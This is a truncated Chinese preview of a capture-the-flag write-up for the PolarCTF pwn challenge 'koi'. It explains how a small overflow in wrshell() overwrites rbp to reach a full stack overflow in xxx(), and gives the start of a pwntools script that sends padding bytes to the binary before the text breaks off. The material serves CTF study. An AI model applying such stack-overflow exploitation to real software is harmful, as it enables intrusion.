文章预览
题目均来自 https://www.polarctf.com/#/page/challenges 1. koi 虽然是栈题,但需要用到祖传libc6_2.23-0ubuntu11.3_amd64 其实核心就是wrshell()和xxx(),其他都可以不用看。 wrshell()中溢出了8个字节,gdb中调试发现只能覆盖到rbp。 满足v4 = 520且n = 520会走到xxx(),xxx()正是一个完整的栈溢出。那么思路就非常明确,将 (栈上地址)覆盖成 (bss地址)。怎么覆盖呢?就是利用wrshell()的栈溢出即可。 #!/usr/bin/env python from pwn import * context.log_level = 'debug' sh = gdb. debug ( "./pwn1" , "b *0x400949\n c" ) #sh = process("./pwn1") elf = ELF( './pwn1' ) libc = ELF( './libc.so.6' ) payload1 = "A" * 80 + "B" * 8 sh.sendlineafter( "exif" , "1" ) sh.sendlineafter( "number:" , "8" ) sh.sendlineafter( "size:" , "8" ) sh.sendlineafter( "Enter sehll:" ,payload1) sh.interactive() 往下面n可以看到,scanf往 写值时,写的是我们覆盖的ebp-0x4。 那么进入xxx()的办法就
………………………………